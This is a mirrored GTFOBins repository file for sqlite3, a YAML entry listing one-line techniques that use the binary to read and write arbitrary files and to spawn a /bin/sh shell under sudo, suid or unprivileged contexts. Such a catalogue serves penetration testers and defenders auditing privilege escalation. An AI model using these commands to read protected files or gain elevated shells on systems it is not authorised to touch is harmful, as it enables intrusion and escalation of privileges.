1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 14:36:23 +01:00
GTFOBins.github.io/_gtfobins/sqlite3
2026-03-03 23:04:54 +01:00

32 lines
561 B
Plaintext

---
functions:
file-read:
- binary: false
code: |-
sqlite3 <<EOF
CREATE TABLE x(x TEXT);
.import /path/to/input-file x
SELECT * FROM x;
EOF
contexts:
sudo:
suid:
unprivileged:
file-write:
- binary: false
code: |-
sqlite3 /dev/null -cmd '.output /path/to/output-file' 'select "DATA";'
contexts:
sudo:
suid:
unprivileged:
shell:
- code: |-
sqlite3 /dev/null '.shell /bin/sh'
contexts:
sudo:
suid:
shell: true
unprivileged:
...